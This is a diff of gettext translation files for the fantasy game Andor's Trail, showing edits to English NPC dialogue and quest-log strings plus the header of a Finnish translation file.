@@ -37253,19 +37111,7 @@ msgid "Purchased potion of lightning attack"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:160
msgid "Mentioned Remgard - Teksin"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:170
msgid "Been to Remgard"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:180
msgid "Talked to Yolgen about the castle"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:190
msgid "Talked to Yolgen about Flagstone"
msgid "Mentioned Remgard"
msgstr ""
#: questlist_guynmart.json:guynmart
@@ -37991,10 +37837,6 @@ msgstr ""
msgid "Blornvale drank the potion."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:71
msgid "Tahalendor came to hear Blonvale confession."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:72
msgid "Blornvale confessed to killing Aryfora's father. Unfortunately there is no witness."
msgstr ""
@@ -38003,14 +37845,6 @@ msgstr ""
msgid "Blornvale now understands what you were trying to do. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:75
msgid "Tahalendor wouldn't believe your story. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:76
msgid "It's all your fault that Aryfora is crying now."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:80
msgid "Blornvale confessed to killing Aryfora's father in the presence of Tahalendor."
msgstr ""
@@ -38418,7 +38252,7 @@ msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:20
msgid ""
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave her hiding place.\n"
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave the hiding place.\n"
"She was looking for Lord Berbanes helmet, which he had forgotten somewhere in the castle."
msgstr ""
@@ -38435,7 +38269,7 @@ msgid "You found the helmet."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:60
msgid "Once back in Stoutford Gyra knew the way and ran to her father Odirath."
msgid "Back in Stoutford Gyra knew the way and ran to her father Odirath."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:70

View File

@@ -1,3 +1,29 @@
# Finnish translation for andors-trail
# Copyright (c) 2014 Rosetta Contributors and Canonical Ltd 2014
# This file is distributed under the same license as the andors-trail package.
# FIRST AUTHOR <EMAIL@ADDRESS>, 2014.
#
msgid ""
msgstr ""
"Project-Id-Version: andors-trail\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2013-11-10 11:48+0000\n"
"PO-Revision-Date: 2014-11-26 19:42+0000\n"
"Last-Translator: TheWaltsu <Unknown>\n"
"Language-Team: Finnish <fi@li.org>\n"
"Language: fi\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Launchpad-Export-Date: 2015-11-02 12:25+0000\n"
"X-Generator: Launchpad (build 17838)\n"
#: [none]
msgid "translator-credits"
msgstr ""
"Launchpad Contributions:\n"
" TheWaltsu https://launchpad.net/~thewaltsu"
#: actorconditions_v069.json:bless
msgid "Bless"
msgstr ""
@@ -2856,7 +2882,7 @@ msgid "Hello again. Have you found the former warden in Flagstone yet?"
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:0
msgid "I slew the former warden and found a peculiar necklace among his remains."
msgid "I slew the fomer warden and found a peculiar necklace among his remains."
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:2
@@ -4632,7 +4658,7 @@ msgstr ""
#: conversationlist_jolnor.json:jolnor_gaintrust_13:0
#: conversationlist_stoutford_combined.json:odirath_3_1:3
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:3
msgid "Maybe."
msgstr ""
@@ -5570,7 +5596,7 @@ msgstr ""
#: conversationlist_talion_2.json:talion_cured_1:1
#: conversationlist_maevalia.json:maevalia_r0:1
#: conversationlist_maevalia.json:maevalia15:0
#: conversationlist_stoutford.json:tahalendor2_10
#: conversationlist_stoutford.json:tahalendor2_0
msgid "What now?"
msgstr ""
@@ -6749,7 +6775,6 @@ msgstr ""
#: conversationlist_elwyl.json:elwyl_8:1
#: conversationlist_lodar.json:lodar_5:0
#: conversationlist_stoutford.json:soutford_gateguard_what_1:0
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford.json:yolgen_rumblings10_5:1
msgid "Is there anything I can do to help?"
msgstr ""
@@ -9390,7 +9415,7 @@ msgid "I talked to Benbyr and heard the story about you two."
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1
msgid "Hello there. You wouldn't happen to want to help an old shepherd would you?"
msgid "Hello there. You wouldn't happen to want to help an old shepherd do you?"
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1:0
@@ -9547,7 +9572,7 @@ msgid "Depends on what I get in return."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_2:2
msgid "I try to help people wherever they might need help."
msgid "I try to help people where ever they might need help."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_3_1
@@ -9585,7 +9610,7 @@ msgid "A while ago, I did some business with a certain man called Tinlyn, over h
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_5
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that was mutually beneficial and the guards did not know about it."
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that it was mutually beneficial that the guards did not know about it."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_6
@@ -21493,7 +21518,6 @@ msgid "I have a feeling that we'll meet there, wherever that is."
msgstr ""
#: conversationlist_halvor_surprise.json:halvor_mlake_leaving:2
#: conversationlist_graveyard1.json:algore_special2:0
msgid "Good luck!"
msgstr ""
@@ -21778,6 +21802,12 @@ msgstr ""
msgid "I cleared Flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0
msgid "Walk in the shadow kid. I have to apologize for my master, Tahalendor."
msgstr ""
@@ -21790,12 +21820,6 @@ msgstr ""
msgid "Can you explain?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0:2
#: conversationlist_stoutford.json:yolgen_rumblings20_0:1
#: conversationlist_stoutford.json:yolgen_rumblings50_0:2
msgid "Let us talk about something different."
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_1
msgid "My master is wise and old, but his sight is not as sharp as it once was. He took you for someone else."
msgstr ""
@@ -22285,10 +22309,6 @@ msgstr ""
msgid "If I must. Well, go ahead, I'll be there when you get there."
msgstr ""
#: conversationlist_stoutford.json:tahalendor2_20
msgid "Well, I don't really believe it, but we could try. Blornvale, how did you kill Aryforas father, your own brother?"
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_10
msgid "Hey, did you try to open that treasure chest?"
msgstr ""
@@ -22314,11 +22334,11 @@ msgid "Undead? I would love to hear the rest of your story but I am on a mission
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_30
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40:0
@@ -22330,7 +22350,7 @@ msgid "That is all I know . . . Come to think of it . . . Hagale from the Wood S
msgstr ""
#: conversationlist_graveyard1.json:algore_10
msgid "Oh yeah? What's it to you kid? BURP... If you want to know, it will cost you two bottles of Lowynas special brew."
msgid "Oh yeah? What's it to you kid? BURP...If you want to know, it will cost you two bottles of Lowynas special brew."
msgstr ""
#: conversationlist_graveyard1.json:algore_20
@@ -22340,12 +22360,12 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_30
msgid ""
"I thought nothing more of it. I was a simple trader in Loneford with a beautiful wife and daughter.\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
msgstr ""
#: conversationlist_graveyard1.json:algore_40
msgid ""
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"I realized that she wouldn't make it.\n"
"I watched as she suffered in agonizing pain. I knew without treatment she would die in a matter of weeks."
msgstr ""
@@ -22370,12 +22390,8 @@ msgstr ""
msgid "I heard you were interested in that unattended treasure chest by the Waterway house."
msgstr ""
#: conversationlist_graveyard1.json:algore_00:2
msgid "Don't breathe on me! I'm leaving!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99
msgid "You actually opened the chest? That sword must be worth a lot of money... could buy a lot of Lowyna's special brew... Sorry kid, but I need that sword!"
msgid "You actually opened the chest? That sword looks expensive . . . could buy a lot of Lowyna's special brew . . . sorry kid, but I need that sword!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:0
@@ -22383,15 +22399,7 @@ msgid "I went through hell to get this sword. I won't give it to you without a f
msgstr ""
#: conversationlist_graveyard1.json:algore_99:1
msgid "I went through a lot to get this sword... but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:algore_99:2
msgid "Yes, I have the sword, see here!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:3
msgid "I did find the sword, but I don't have it anymore."
msgid "I went through a lot to get this sword . . . but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_99
@@ -22424,7 +22432,7 @@ msgid "You think to yourself . . ."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest3:0
msgid "Nothing my weapon couldnt handle."
msgid "Nothing my weapon couldnt handle."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest4
@@ -22436,7 +22444,7 @@ msgid "The text begins to radiate light. The ground begins to shake as darkness
msgstr ""
#: conversationlist_graveyard1.json:graveyardwall_1a
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgstr ""
#: conversationlist_graveyard1.json:graveyardking_1
@@ -22492,7 +22500,7 @@ msgid "The text described a cemetery sealed by magic to contain a powerful undea
msgstr ""
#: conversationlist_graveyard1.json:algore_85
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour... it was putrid."
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour . . . it was putrid."
msgstr ""
#: conversationlist_graveyard1.json:algore_86
@@ -22500,7 +22508,7 @@ msgid "Suddenly, a horde of undead attacked me. I fought them off as best I coul
msgstr ""
#: conversationlist_graveyard1.json:algore_87
msgid "(Hagale finishes the second bottle of Lowynas special brew)... Sure do. I hope you know what youre doing kid."
msgid "(Hagale finishes the second bottle of Lowynas special brew) . . . Sure do. I hope you know what youre doing kid."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest5
@@ -22512,7 +22520,7 @@ msgid "Good luck."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day... it helps me forget."
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day . . . it helps me forget."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b:0
@@ -22649,7 +22657,7 @@ msgid "I haven't found out what is happening yet, but I wanted to let you know I
msgstr ""
#: conversationlist_graveyard1.json:algore_01
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgstr ""
#: conversationlist_graveyard1.json:algore_11
@@ -22658,7 +22666,7 @@ msgid ""
"\n"
"(Hagale immediately opens one of the bottles and takes a big swig, which he loudly swallows before wiping his mouth on the sleeve of his tattered shirt)\n"
"\n"
"Yeah, I know something about that chest... BURP... I almost opened it."
"Yeah, I know something about that chest . . . BURP . . . I almost opened it."
msgstr ""
#: conversationlist_graveyard1.json:algore_31
@@ -22683,18 +22691,20 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_32
msgid ""
"We were only halfway there when we were attacked by Plaguestriders. My daughter and I managed to escape...\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)... but my wife did not survive."
"We were only halfway there we were attacked by Plaguestriders. My daughter and I managed to escape\n"
". . .\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)\n"
". . . but my wife did not survive."
msgstr ""
#: conversationlist_graveyard1.json:algore_33
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through... but although the blisters were gradually healing, my daughter's health continued to decline."
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through . . . but although the blisters were gradually healing, my daughter's health continued to decline."
msgstr ""
#: conversationlist_graveyard1.json:algore_41
msgid ""
"I had to do something. I went to Fallhaven and begged Thoronir to make me a Bonemeal potion. Although it would have cured my daughter completely, he refused because Lord Geomyr banned all use of Bonemeal as a healing substance!\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
msgstr ""
#: conversationlist_graveyard1.json:algore_51
@@ -22717,14 +22727,6 @@ msgstr ""
msgid " Maybe he knows more. You should give him a visit."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:0
msgid "OK, I'll do that."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:1
msgid "Where is the Wood settlement?"
msgstr ""
#: conversationlist_graveyard1.json:cithurn_62
msgid "Well $playername, you are young, and you apologized, so perhaps I will be a little forgiving. Just remember that not everywhere is like your small village. My name is Cithurn."
msgstr ""
@@ -22940,7 +22942,7 @@ msgid "Is there something I can help you with?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1
msgid "No. Is there anything else?"
msgid "No. Is there anythng else?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1:0
@@ -23042,7 +23044,7 @@ msgid "The Guardian stares at you. You feel a sense of dread, but you resist the
msgstr ""
#: conversationlist_graveyard1.json:cithurn_130
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgstr ""
#: conversationlist_graveyard1.json:old_clothes_1
@@ -23077,62 +23079,6 @@ msgstr ""
msgid "There is nothing left to take from the corpse."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61
msgid "South of the Duleian road, close to Fallhaven."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61:0
msgid "OK. I'll go there now."
msgstr ""
#: conversationlist_graveyard1.json:algore_99c
msgid "Hey kid! Stop waving that thing at me! If you want to talk to me, put it away first!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d
msgid "So where is it?"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:0
msgid "I dropped it somewhere."
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:1
msgid "I sold it."
msgstr ""
#: conversationlist_graveyard1.json:algore_99e
msgid "Not too bright, are you kid? Perhaps you should go and pick it up again."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f
msgid "I gave you the text you needed to get that sword. I think some of that gold should be mine. If you don't give me some then I'll take it from you."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:0
msgid "OK, OK. I guess it's fair that you should get a share. Here's 1000 gp."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:1
msgid "No way! I fought to get the sword, and the profit is mine!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99g
msgid "Thanks kid. It's good to see you have some honor."
msgstr ""
#: conversationlist_graveyard1.json:algore_special2
msgid "Thanks for the gold kid. I decided that with the money I can rebuild my life. I'm going to sober up and start trading again. I'll be leaving here soon."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i
msgid "We'll see about that."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i:0
msgid "Yes, we will!"
msgstr ""
#: conversationlist_guynmart.json:guynmart_haystack
msgid "This is a haystack."
msgstr ""
@@ -24366,7 +24312,7 @@ msgid "OK, just a second."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40
msgid "Be welcome, $playername. I am Rorthron, the world's most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgid "Be welcome, $playername. I am Rorthron, world most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40:0
@@ -24548,7 +24494,6 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_steward3_24:0
#: conversationlist_stoutford_combined.json:berbane_110:0
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90:0
msgid "But ..."
msgstr ""
@@ -26256,7 +26201,7 @@ msgid "Sorry. I haven't seen anyone that looks like you. "
msgstr ""
#: conversationlist_trader_teksin.json:teksin30
msgid "I have been out in the wild for while, and have seen nobody since I left the main road weeks ago."
msgid "I have been out in the wilds for while, and have seen nobody since I left the main road weeks ago."
msgstr ""
#: conversationlist_trader_teksin.json:teksin40
@@ -26264,7 +26209,7 @@ msgid "I decided that I should find a better route to Remgard. The road through
msgstr ""
#: conversationlist_trader_teksin.json:teksin50
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close. It's north across this lake, but there is no way to cross, or to go further east around the lake."
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close, north across this lake, but there is no way to cross, or to go further east around the lake."
msgstr ""
#: conversationlist_trader_teksin.json:teksin50:0
@@ -26325,7 +26270,7 @@ msgid "OK. Show me what you have."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100
msgid "For you, I will offer the special price of 4999 gold."
msgid "For you, I will offer the special price of 4999gp."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100:0
@@ -26359,7 +26304,7 @@ msgid "Thanks for the advice. I need to go now."
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_0
msgid "Welcome to our wonderful Inn. How can we help you?"
msgid "Welcome to Stoutford kid. "
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_1
@@ -26410,10 +26355,6 @@ msgstr ""
msgid "Why are monster attacks increasing?"
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_4:3
msgid "Thanks for the information. I have to leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:cornith_0
msgid "Hello, welcome to my shop"
msgstr ""
@@ -26474,7 +26415,7 @@ msgid ""
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_5
msgid "He told me that it is very far from here, to the northeast, beyond the river and the mountains."
msgid "He told me that it is very far from here, beyond the river and the mountains."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_6
@@ -26885,7 +26826,7 @@ msgid "Yes, I have dealt with most of the trolls. They won't dare to bother you
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4
msgid "Thank you so much! I wish you safe travels back to Stoutford. If you want to go to the glade next time you are in Remgard, just ask me for the key."
msgid "Thank you so much! If ever you want to go to the glade, just ask me for the key."
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4:0
@@ -27061,7 +27002,7 @@ msgid "Who are "they"?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_9
msgid "Our priest, Tahalendor, was convinced by my uncle, Blornvale, my father's own brother."
msgid "Our priest, Talahendor, was convinced by my uncle, Blornvale, my father's own brother."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_10
@@ -27212,7 +27153,7 @@ msgid "You are right. We need a credible witness ..."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2
msgid "Best would be Tahalendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgid "Best would be Talahendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2:0
@@ -27238,7 +27179,6 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns74_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70
msgid "Any news about the murderer?"
msgstr ""
@@ -27372,7 +27312,7 @@ msgid "That's all children's stuff"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3
msgid "What did you expect? You are a kid after all. I can't give you strong potions!"
msgid "What did you expect? You are a kid after all. I must not give strong potions to you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:0
@@ -27380,7 +27320,9 @@ msgid "You are right. Have a nice day."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:1
msgid "It is not for me of course. My father and his men are fighting in Flagstone right now. They urgently need some useful potions, not soap! I think three potions of the brave would do it, if you happen to have them. And possibly more, if it is good stuff."
msgid ""
"It is not for me of course. My father and his men are fighting in Flagstone right now. They need urgently some useful potions, not soap!\n"
"I think of three potions of the brave, if you happen to have. And more if it is good stuff."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4
@@ -27388,7 +27330,7 @@ msgid "Ah. Oh. That changes everything. Wait a second."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4:0
msgid "I'm in a hurry."
msgid "Look lively now."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_shop2
@@ -27485,6 +27427,14 @@ msgstr ""
msgid "I have heard enough. Thank you, kid. I will ensure that Blornvale never makes trouble again."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns74
msgid "You dare to come here again?"
msgstr ""
@@ -27630,7 +27580,6 @@ msgid "The path to Blackwater mountain was cut off by a rock fall. That stopped
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_2:0
#: conversationlist_stoutford_combined.json:odirath_1_4:3
msgid "How do I get to Blackwater mountain?"
msgstr ""
@@ -27650,10 +27599,6 @@ msgstr ""
msgid "Thanks. What about the monsters?"
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_3:2
msgid "Thanks for the information. Please show me what you have to trade."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_4
msgid "They started attacking the town recently. Nobody is sure why. Their attacks have been unsuccessful, so we are all hoping that they will give up soon and go back to wherever they came from."
msgstr ""
@@ -27667,7 +27612,7 @@ msgid "Thanks. I'm looking for my brother, Andor. Has anyone new been through he
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2
msgid "Yes, indeed. My daughter has not come home for some days. I don't know what's happened to her."
msgid "Yes, indeed. My daughter has not come home for some days. I do not know what's wrong with her."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2:0
@@ -27802,11 +27747,6 @@ msgstr ""
msgid "And bonemeal is forbidden."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4:2
#: conversationlist_stoutford_combined.json:yolgen_4a:1
msgid "I will clear the castle of undead for you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4a
msgid "Yes, incredible! Although kids like you should not play with such things."
msgstr ""
@@ -27847,10 +27787,6 @@ msgstr ""
msgid "That dreadful place has been left abandoned ever since. Recently, however, undead have started pouring out of the prison, and we had to send guards to keep them away from the road. "
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:0
msgid "I took care of that"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:1
msgid "Can I help you with Flagstone?"
msgstr ""
@@ -27887,11 +27823,6 @@ msgstr ""
msgid "That sounds dreadful. Can I help you with the castle?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_1
msgid "Well, you already were of great help. Thank you again!"
msgstr ""
@@ -27916,10 +27847,6 @@ msgstr ""
msgid "OK. I will go to the prison."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_1:1
msgid "I cleared flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_2
msgid "Can you clear the castle?"
msgstr ""
@@ -27941,10 +27868,14 @@ msgid "If you could help with Flagstone, it would take a big burden off us."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:0
msgid "I have been inside Flagstone, but I will go back and find out more."
msgid "I already took care of Flagstone. I cleared it of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:1
msgid "I have been inside Flagstone, but I will go back and find out more."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
msgid "OK, I will take a look."
msgstr ""
@@ -27961,11 +27892,7 @@ msgid "Thank you kindly. Shadow be with you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4
msgid "Yes, thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4:1
msgid "Where do you think they came from?"
msgid "Thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_reinforcements_2
@@ -28061,7 +27988,7 @@ msgid "What would I gain from that?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:1
msgid "You are very rude and poorly educated. Maybe I should introduce myself? $playername is my name."
msgid "You are very rude and poorly educated. May I should introduce myself? $playername is my name."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:2
@@ -28151,7 +28078,7 @@ msgid "Well, it was a tough fight, but I managed to slay Lord Erwyn himself."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2:1
msgid "The undead are no match for me."
msgid "Undeads are no match for me."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2a
@@ -28187,7 +28114,7 @@ msgid "Yolgen puts the ring on his altar and chants a spell. Suddenly the altar
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6
msgid "That is it. The ring is destroyed. I wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgid "That is it. The ring is destroyed. I just wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6:0
@@ -28510,7 +28437,7 @@ msgid "Hi kid. It is nice and warm here next to the fire. Come and make yourself
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp1_10:0
msgid "Ah, no thank you. I have more interesting things to do."
msgid "Ah, no thank you. I have more interesting things to do now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_10
@@ -28522,7 +28449,7 @@ msgid "No. We're on a military exercise right now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30
msgid "We saw another horde of undead approach the castle just as we left. We hurried here, so that we can complete our exercise and be back in time to be able to help."
msgid "We just saw another horde of undead approach the castle when we left. We hurried to this place, so that we can be back in time to be able to help."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30:0
@@ -28542,7 +28469,7 @@ msgid "I had better leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_40:2
msgid "I had better leave now. You do not need to hurry with your exercise. All your comrades have already been killed by the undead."
msgid "I had better leave now. And you need not hurry with your exercise. All your comrades have already been killed by the undead."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_42
@@ -29052,11 +28979,11 @@ msgid "$playername! What do you think you are doing?!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131:0
msgid "Mikhail! You are here?"
msgid "Mikhail! You here?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2
msgid "We need you back home. Andor is back since a long time ago, and we have our hands full trying to control the rat plague."
msgid "We need you at home. Andor is back since long, and we have our hands full trying to control the rat plague."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2:0
@@ -29068,7 +28995,7 @@ msgid "Come with me now. And give me back my ring."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:0
msgid "Sure, here is your ring. It was very useful in the beginning, but I don't need it anymore."
msgid "Sure, here is your ring. It was very useful in the beginning, but now I don't need it anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:1
@@ -29086,11 +29013,11 @@ msgstr ""
